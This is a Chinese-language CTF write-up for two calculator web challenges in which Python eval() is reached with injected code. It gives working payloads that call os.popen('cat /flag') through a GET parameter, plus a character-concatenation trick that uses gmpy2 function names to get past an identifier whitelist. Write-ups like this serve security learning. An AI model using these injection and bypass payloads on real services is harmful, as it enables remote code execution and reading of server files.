[TOC]

算力超群

考点:抓包,eval()函数利用,漏洞利用

打开发现是个计算器。一般碰到计算器就很容易和命令执行扯到一块。
随便计算下然后抓个包

image-20240806180720171

发现是get方法,改参数让它报错。发现eval()函数。

image-20240806180956097

python语言,用危险函数eval()进行运算。这里我们使用沙箱逃逸,执行命令反弹shell。

payload

1
_calculate?number1=&operator=&number2=__import__('os').popen('cat /f*').read()

image-20240806181354332

算力升级

考点:python库,拼接绕过,漏洞利用

打开,查看源码。

code是输入框提交的内容,下面这段代码是将code中由字母、数字、下划线组成的字符串取出

1
2
pattern=re.compile(r'\w+')
for item in pattern.findall(code):

如果取出的不是数字就判断是否为gmpy2库(高精度算术运算库)的函数名,如果最后都是就eval(code)代码执行

那么我们可以看一下gmpy2库的函数有什么是可以利用的

先在本地安装gmpy2库,pip install gmpy2

查看所有函数名,结果有很多,不过没有可以直接利用的

1
2
import gmpy2
print(dir(gmpy2))

里面有gmpy2和__builtins__,看看gmpy2.__builtins__支持哪些函数,发现有eval

image-20240806184033715

image-20240806184054698

那么我们就可以通过对gmpy2库中的函数名中的字母进行拼接,来等效

1
gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")

这里可以直接用os是因为import os了,如果没有可以用

1
gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")

payload

1
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('cos'[1]+'cos'[2]+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")